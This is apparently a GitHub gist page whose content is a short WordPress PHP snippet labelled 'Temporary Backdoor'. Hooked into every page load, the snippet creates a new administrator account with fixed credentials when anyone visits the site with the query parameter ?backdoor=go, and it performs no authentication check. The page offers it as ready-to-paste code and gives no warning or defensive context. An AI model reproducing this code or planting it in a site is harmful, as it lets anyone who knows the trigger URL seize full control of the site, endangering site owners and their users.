Skip to content

Instantly share code, notes, and snippets.

@KustomDeveloper
Last active October 9, 2020 18:19
Show Gist options
  • Save KustomDeveloper/b282222807f2ec7db9220f40b30241a4 to your computer and use it in GitHub Desktop.
Save KustomDeveloper/b282222807f2ec7db9220f40b30241a4 to your computer and use it in GitHub Desktop.
/**
*
* Temporary Backdoor
*
*/
//Your website’s backdoor is: mywebsite.com/?backdoor=go
function holeinthewall() {
if ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
if (!username_exists('YOUR_USERNAME')) {
$user_id = wp_create_user('YOUR_USERNAME', '4xcvSTRONG_PASSWORDzwytxg', 'YOUR_EMAIL@gmail.com');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
add_action('wp_head', 'holeinthewall');
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment